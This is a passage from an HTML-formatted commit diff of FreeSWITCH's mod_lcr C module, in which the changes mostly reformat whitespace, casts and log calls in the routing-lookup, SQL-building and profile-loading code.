</span><span class="cx">                                 if (switch_core_hash_insert(cbt->dedup_hash, key, additional) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -683,7 +668,7 @@
</span><span class="cx"> {
</span><span class="cx">         int count = 0;
</span><span class="cx">         callback_t *cbt = (callback_t *) pArg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         count = atoi(argv[1]);
</span><span class="cx">         if (count == 1) {
</span><span class="cx">                 if (!strcmp(argv[0], "state")) {
</span><span class="lines">@@ -693,19 +678,19 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
-        
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Type: %s, Count: %d\n", argv[0], count);
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t is_intrastatelata(callback_t *cb_struct)
</span><span class="cx"> {
</span><span class="cx">         char *sql = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* extract npa nxx - make some assumptions about format:
</span><del>-                e164 format without the +
-                NANP only (so 11 digits starting with 1)
-        */
</del><ins>+         e164 format without the +
+         NANP only (so 11 digits starting with 1)
+         */
</ins><span class="cx">         if (!cb_struct->lookup_number || (strlen(cb_struct->lookup_number) != 11 && *cb_struct->lookup_number != '1')) {
</span><span class="cx">                 /* dest doesn't appear to be NANP number */
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -714,29 +699,28 @@
</span><span class="cx">                 /* cid not NANP */
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* assume that if the area code (plus leading 1) are the same we're intrastate */
</span><span class="cx">         /* probably a bad assumption */
</span><span class="cx">         /*
</span><del>-        if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
-                cb_struct->intrastate = SWITCH_TRUE;
-                return SWITCH_STATUS_SUCCESS;
-        }
-        */
-        
</del><ins>+         if (!strncmp(cb_struct->lookup_number, cb_struct->cid, 4)) {
+         cb_struct->intrastate = SWITCH_TRUE;
+         return SWITCH_STATUS_SUCCESS;
+         }
+         */
+
</ins><span class="cx">         sql = switch_core_sprintf(cb_struct->pool,
</span><del>-                                                                "SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
-                                                                " UNION "
-                                                                "SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
-                                                                cb_struct->lookup_number+1, cb_struct->lookup_number+4,
-                                                                cb_struct->cid+1, cb_struct->cid+4,
-                                                                cb_struct->lookup_number+1, cb_struct->lookup_number+4,
-                                                                cb_struct->cid+1, cb_struct->cid+4);
</del><ins>+                                                         "SELECT 'state', count(DISTINCT state) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)"
+                                                         " UNION "
+                                                         "SELECT 'lata', count(DISTINCT lata) FROM npa_nxx_company_ocn WHERE (npa=%3.3s AND nxx=%3.3s) OR (npa=%3.3s AND nxx=%3.3s)",
+                                                         cb_struct->lookup_number + 1, cb_struct->lookup_number + 4,
+                                                         cb_struct->cid + 1, cb_struct->cid + 4,
+                                                         cb_struct->lookup_number + 1, cb_struct->lookup_number + 4, cb_struct->cid + 1, cb_struct->cid + 4);
</ins><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", sql);
</ins><span class="cx">
</span><del>-        return(lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
-        
</del><ins>+        return (lcr_execute_sql_callback(sql, intrastatelata_callback, cb_struct));
+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t lcr_do_lookup(callback_t *cb_struct)
</span><span class="lines">@@ -752,26 +736,26 @@
</span><span class="cx">         char *safe_sql = NULL;
</span><span class="cx">         char *rate_field = NULL;
</span><span class="cx">         char *user_rate_field = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(cb_struct->lookup_number != NULL);
</span><span class="cx">
</span><span class="cx">         digits_copy = string_digitsonly(cb_struct->pool, digits);
</span><span class="cx">         if (zstr(digits_copy)) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* allocate the dedup hash */
</span><span class="cx">         if (switch_core_hash_init(&cb_struct->dedup_hash, cb_struct->pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_ERROR, "Error initializing the dedup hash\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         digits_expanded = expand_digits(cb_struct->pool, digits_copy, cb_struct->profile->quote_in_list);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile->profile_has_npanxx == SWITCH_TRUE) {
</span><span class="cx">                 is_intrastatelata(cb_struct);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* set our rate field based on env and profile */
</span><span class="cx">         if (cb_struct->intralata == SWITCH_TRUE && profile->profile_has_intralata == SWITCH_TRUE) {
</span><span class="cx">                 rate_field = switch_core_strdup(cb_struct->pool, "intralata_rate");
</span><span class="lines">@@ -785,7 +769,7 @@
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "intra routing [state:%d lata:%d] so rate field is [%s]\n",
</span><span class="cx">                                          cb_struct->intrastate, cb_struct->intralata, rate_field);
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* set some channel vars if we have a session */
</span><span class="cx">         if (cb_struct->session) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "we have a session\n");
</span><span class="lines">@@ -822,11 +806,11 @@
</span><span class="cx">                 /* channel_expand_variables returned the same string to us, no need to free */
</span><span class="cx">                 switch_safe_free(safe_sql);
</span><span class="cx">         }
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *)sql_stream.data);
-        
-        lookup_status = lcr_execute_sql_callback((char *)sql_stream.data, route_add_callback, cb_struct);
</del><span class="cx">
</span><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *) sql_stream.data);
+
+        lookup_status = lcr_execute_sql_callback((char *) sql_stream.data, route_add_callback, cb_struct);
+
</ins><span class="cx">         switch_safe_free(sql_stream.data);
</span><span class="cx">         switch_event_safe_destroy(&cb_struct->event);
</span><span class="cx">         switch_core_hash_destroy(&cb_struct->dedup_hash);
</span><span class="lines">@@ -848,16 +832,15 @@
</span><span class="cx">         switch_event_create(&event, SWITCH_EVENT_MESSAGE);
</span><span class="cx">         routes.event = event;
</span><span class="cx">         routes.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(routes.profile = locate_profile(lcr_profile))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
</span><span class="cx">                 return SWITCH_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         routes.lookup_number = "15555551212";
</span><span class="cx">         routes.cid = "18005551212";
</span><del>-        return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ?
-         SWITCH_TRUE : SWITCH_FALSE;
</del><ins>+        return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ? SWITCH_TRUE : SWITCH_FALSE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t lcr_load_config()
</span><span class="lines">@@ -893,19 +876,16 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* initialize sql here, 'cause we need to verify custom_sql for each profile below */
</span><span class="cx">         if (globals.odbc_dsn) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG
-                                                 , "dsn is \"%s\", user is \"%s\"\n"
-                                                 , globals.odbc_dsn, globals.odbc_user
-                                                 );
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "dsn is \"%s\", user is \"%s\"\n", globals.odbc_dsn, globals.odbc_user);
</ins><span class="cx">                 if (!(dbh = lcr_get_db_handle())) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_FALSE, done);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (set_db_random() == SWITCH_TRUE) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Database RANDOM function set to %s\n", db_random);
</span><span class="cx">         } else {
</span><span class="lines">@@ -926,7 +906,7 @@
</span><span class="cx">                         char *custom_sql = NULL;
</span><span class="cx">                         int argc, x = 0;
</span><span class="cx">                         char *argv[4] = { 0 };
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         SWITCH_STANDARD_STREAM(order_by);
</span><span class="cx">
</span><span class="cx">                         for (param = switch_xml_child(x_profile, "param"); param; param = param->next) {
</span><span class="lines">@@ -934,12 +914,12 @@
</span><span class="cx">
</span><span class="cx">                                 var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="cx">                                 val = (char *) switch_xml_attr_soft(param, "value");
</span><del>-                                
-                                if (!strcasecmp(var, "order_by") && !zstr(val)) {
</del><ins>+
+                                if (!strcasecmp(var, "order_by") && !zstr(val)) {
</ins><span class="cx">                                         thisorder = &order_by;
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "param val is %s\n", val);
</span><span class="cx">                                         if ((argc = switch_separate_string(val, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><del>-                                                for (x=0; x<argc; x++) {
</del><ins>+                                                for (x = 0; x < argc; x++) {
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "arg #%d/%d is %s\n", x, argc, argv[x]);
</span><span class="cx">                                                         if (!zstr(argv[x])) {
</span><span class="cx">                                                                 if (!strcasecmp(argv[x], "quality")) {
</span><span class="lines">@@ -976,37 +956,37 @@
</span><span class="cx">                                         quote_in_list = val;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(name)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No name specified.\n");
</span><span class="cx">                         } else {
</span><span class="cx">                                 profile = switch_core_alloc(globals.pool, sizeof(*profile));
</span><span class="cx">                                 memset(profile, 0, sizeof(profile_t));
</span><span class="cx">                                 profile->name = switch_core_strdup(globals.pool, name);
</span><del>-                                
-                                if (!zstr((char *)order_by.data)) {
-                                        profile->order_by = switch_core_strdup(globals.pool, (char *)order_by.data);
</del><ins>+
+                                if (!zstr((char *) order_by.data)) {
+                                        profile->order_by = switch_core_strdup(globals.pool, (char *) order_by.data);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         /* default to rate */
</span><span class="cx">                                         profile->order_by = ", ${lcr_rate_field}";
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (!zstr(id_s)) {
</span><del>-                                        profile->id = (uint16_t)atoi(id_s);
</del><ins>+                                        profile->id = (uint16_t) atoi(id_s);
</ins><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* SWITCH_STANDARD_STREAM doesn't use pools. but we only have to free sql_stream.data */
</span><span class="cx">                                 SWITCH_STANDARD_STREAM(sql_stream);
</span><span class="cx">                                 if (zstr(custom_sql)) {
</span><span class="cx">                                         /* use default sql */
</span><del>-                                        sql_stream.write_function(&sql_stream,
-                                                                                         "SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix "
-                                                                                         );
</del><ins>+                                        sql_stream.write_function(&sql_stream,
+                                                                                         "SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix ");
</ins><span class="cx">                                         if (db_check("SELECT codec from carrier_gateway limit 1") == SWITCH_TRUE) {
</span><span class="cx">                                                 sql_stream.write_function(&sql_stream, ", cg.codec ");
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "codec field defined.\n");
</span><span class="cx">                                         } else {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "codec field not defined, please update your lcr carrier_gateway database schema.\n");
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                                 "codec field not defined, please update your lcr carrier_gateway database schema.\n");
</ins><span class="cx">                                         }
</span><span class="cx">                                         if (db_check("SELECT cid from lcr limit 1") == SWITCH_TRUE) {
</span><span class="cx">                                                 sql_stream.write_function(&sql_stream, ", l.cid ");
</span><span class="lines">@@ -1014,41 +994,38 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "cid field not defined, please update your lcr database schema.\n");
</span><span class="cx">                                         }
</span><del>-                                        sql_stream.write_function(&sql_stream, "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
</del><ins>+                                        sql_stream.write_function(&sql_stream,
+                                                                                         "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
</ins><span class="cx">                                         sql_stream.write_function(&sql_stream, "${lcr_query_expanded_digits}");
</span><span class="cx">                                         sql_stream.write_function(&sql_stream, ") AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end ");
</span><span class="cx">                                         if (profile->id > 0) {
</span><span class="cx">                                                 sql_stream.write_function(&sql_stream, "AND lcr_profile=%d ", profile->id);
</span><span class="cx">                                         }
</span><del>-                                        sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s",
-                                                                                                                        profile->order_by);
</del><ins>+                                        sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s", profile->order_by);
</ins><span class="cx">                                         if (db_random) {
</span><span class="cx">                                                 sql_stream.write_function(&sql_stream, ", %s", db_random);
</span><span class="cx">                                         }
</span><span class="cx">                                         sql_stream.write_function(&sql_stream, ";");
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         custom_sql = sql_stream.data;
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 profile->profile_has_intralata = db_check("SELECT intralata_rate FROM lcr LIMIT 1");
</span><span class="cx">                                 if (profile->profile_has_intralata != SWITCH_TRUE) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                         "no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n"
-                                                                         );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                         "no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n");
</ins><span class="cx">                                 }
</span><span class="cx">                                 profile->profile_has_intrastate = db_check("SELECT intrastate_rate FROM lcr LIMIT 1");
</span><span class="cx">                                 if (profile->profile_has_intrastate != SWITCH_TRUE) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                         "no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n"
-                                                                         );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                         "no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n");
</ins><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 profile->profile_has_npanxx = db_check("SELECT npa, nxx, state FROM npa_nxx_company_ocn LIMIT 1");
</span><span class="cx">                                 if (profile->profile_has_npanxx != SWITCH_TRUE) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                         "no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n"
-                                                                         );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                         "no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n");
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (switch_string_var_check_const(custom_sql) || switch_string_has_escaped_data(custom_sql)) {
</span><span class="lines">@@ -1057,20 +1034,20 @@
</span><span class="cx">                                 if (strstr(custom_sql, "%")) {
</span><span class="cx">                                         profile->custom_sql_has_percent = SWITCH_TRUE;
</span><span class="cx">                                 }
</span><del>-                                profile->custom_sql = switch_core_strdup(globals.pool, (char *)custom_sql);
-                                
</del><ins>+                                profile->custom_sql = switch_core_strdup(globals.pool, (char *) custom_sql);
+
</ins><span class="cx">                                 if (!zstr(reorder_by_rate)) {
</span><span class="cx">                                         profile->reorder_by_rate = switch_true(reorder_by_rate);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!zstr(info_in_headers)) {
</span><span class="cx">                                         profile->info_in_headers = switch_true(info_in_headers);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!zstr(quote_in_list)) {
</span><span class="cx">                                         profile->quote_in_list = switch_true(quote_in_list);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_hash_insert(globals.profile_hash, profile->name, profile);
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Loaded lcr profile %s.\n", profile->name);
</span><span class="cx">                                 /* test the profile */
</span><span class="lines">@@ -1083,7 +1060,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Removing INVALID Profile %s.\n", profile->name);
</span><span class="cx">                                         switch_core_hash_delete(globals.profile_hash, profile->name);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                         switch_safe_free(order_by.data);
</span><span class="cx">                         switch_safe_free(sql_stream.data);
</span><span class="lines">@@ -1091,7 +1068,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No lcr profiles defined.\n");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* define default profile */
</span><span class="cx">         if (!globals.default_profile) {
</span><span class="cx">                 profile = switch_core_alloc(globals.pool, sizeof(*profile));
</span><span class="lines">@@ -1102,7 +1079,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Setting system defined default profile.");
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">         switch_xml_free(xml);
</span><span class="cx">         return status;
</span><span class="lines">@@ -1138,17 +1115,17 @@
</span><span class="cx">         intralata = switch_channel_get_variable(channel, "intralata");
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", intrastate);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intralata channel var is [%s]\n", intralata);
</span><del>-        if (!zstr(intralata) && !strcasecmp((char *)intralata, "true")) {
</del><ins>+        if (!zstr(intralata) && !strcasecmp((char *) intralata, "true")) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intralata rates\n");
</span><span class="cx">                 routes.intralata = SWITCH_FALSE;
</span><del>-        } else if (!zstr(intrastate) && !strcasecmp((char *)intrastate, "true")) {
</del><ins>+        } else if (!zstr(intrastate) && !strcasecmp((char *) intrastate, "true")) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
</span><span class="cx">                 routes.intrastate = SWITCH_TRUE;
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
</span><span class="cx">                 routes.intrastate = SWITCH_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!caller_profile) {
</span><span class="cx">                 caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx">         }
</span><span class="lines">@@ -1173,7 +1150,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", caller_profile->destination_number);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-end:
</del><ins>+ end:
</ins><span class="cx">         if (!session) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">         }
</span><span class="lines">@@ -1184,9 +1161,9 @@
</span><span class="cx"> {
</span><span class="cx">         size_t i;
</span><span class="cx">
</span><del>-        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what);*/
-        
-        for (i=0; i<how_many; i++) {
</del><ins>+        /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what); */
+
+        for (i = 0; i < how_many; i++) {
</ins><span class="cx">                 str_stream->write_function(str_stream, "%s", what);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -1227,9 +1204,8 @@
</span><span class="cx">         routes.pool = pool;
</span><span class="cx">
</span><span class="cx">         intra = switch_channel_get_variable(channel, "intrastate");
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n",
-                                        zstr(intra) ? "undef" : intra);
-        if (zstr(intra) || strcasecmp((char *)intra, "true")) {
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", zstr(intra) ? "undef" : intra);
+        if (zstr(intra) || strcasecmp((char *) intra, "true")) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
</span><span class="cx">                 routes.intrastate = SWITCH_FALSE;
</span><span class="cx">         } else {
</span><span class="lines">@@ -1248,7 +1224,7 @@
</span><span class="cx">                 if (argc > 1) {
</span><span class="cx">                         lcr_profile = argv[1];
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "LCR Lookup on %s using profile %s\n", dest, lcr_profile);
</span><span class="cx">                 routes.lookup_number = dest;
</span><span class="cx">                 if (caller_profile) {
</span><span class="lines">@@ -1258,7 +1234,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (!(routes.profile = locate_profile(lcr_profile))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -1289,16 +1265,17 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", dest);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-end:
</del><ins>+
+ end:
</ins><span class="cx">         if (!session) {
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen) {
</del><ins>+static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen)
+{
</ins><span class="cx">         if (as_xml) {
</span><del>-                str_repeat(indent*2, " ", stream);
</del><ins>+                str_repeat(indent * 2, " ", stream);
</ins><span class="cx">                 stream->write_function(stream, "<%s>%s</%s>\n", key, data, key);
</span><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, " | %s", data);
</span><span class="lines">@@ -1320,15 +1297,13 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx">         switch_status_t lookup_status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_bool_t as_xml = SWITCH_FALSE;
</span><del>-        int rowcount=0;
</del><ins>+        int rowcount = 0;
</ins><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 goto usage;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG
-                                         , "data passed to lcr is [%s]\n", cmd
-                                         );
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "data passed to lcr is [%s]\n", cmd);
</ins><span class="cx">
</span><span class="cx">         if (session) {
</span><span class="cx">                 pool = switch_core_session_get_pool(session);
</span><span class="lines">@@ -1339,7 +1314,7 @@
</span><span class="cx">                 cb_struct.event = event;
</span><span class="cx">         }
</span><span class="cx">         cb_struct.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         mydata = switch_core_strdup(pool, cmd);
</span><span class="cx">
</span><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="lines">@@ -1350,29 +1325,27 @@
</span><span class="cx">                 }
</span><span class="cx">                 if (argc > 2) {
</span><span class="cx">                         int i;
</span><del>-                        for (i=2; i<argc; i++) {
</del><ins>+                        for (i = 2; i < argc; i++) {
</ins><span class="cx">                                 if (!strcasecmp(argv[i], "intrastate")) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
</span><span class="cx">                                         cb_struct.intrastate = SWITCH_TRUE;
</span><span class="cx">                                 } else if (!strcasecmp(argv[i], "as")) {
</span><span class="cx">                                         i++;
</span><span class="cx">                                         if (argv[i] && !strcasecmp(argv[i], "xml")) {
</span><del>-                                                        as_xml = SWITCH_TRUE;
-                                                } else {
-                                                        goto usage;
-                                                }
</del><ins>+                                                as_xml = SWITCH_TRUE;
+                                        } else {
+                                                goto usage;
+                                        }
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Caller ID to [%s]\n", argv[i]);
</span><span class="cx">                                         /* the only other option we have right now is caller id */
</span><span class="cx">                                         cb_struct.cid = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">                 if (zstr(cb_struct.cid)) {
</span><span class="cx">                         cb_struct.cid = "18005551212";
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING
-                                                         , "Using default CID [%s]\n", cb_struct.cid
-                                                         );
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Using default CID [%s]\n", cb_struct.cid);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1432,7 +1405,7 @@
</span><span class="cx">                                 if (as_xml) {
</span><span class="cx">                                         stream->write_function(stream, " <row id=\"%d\">\n", rowcount);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
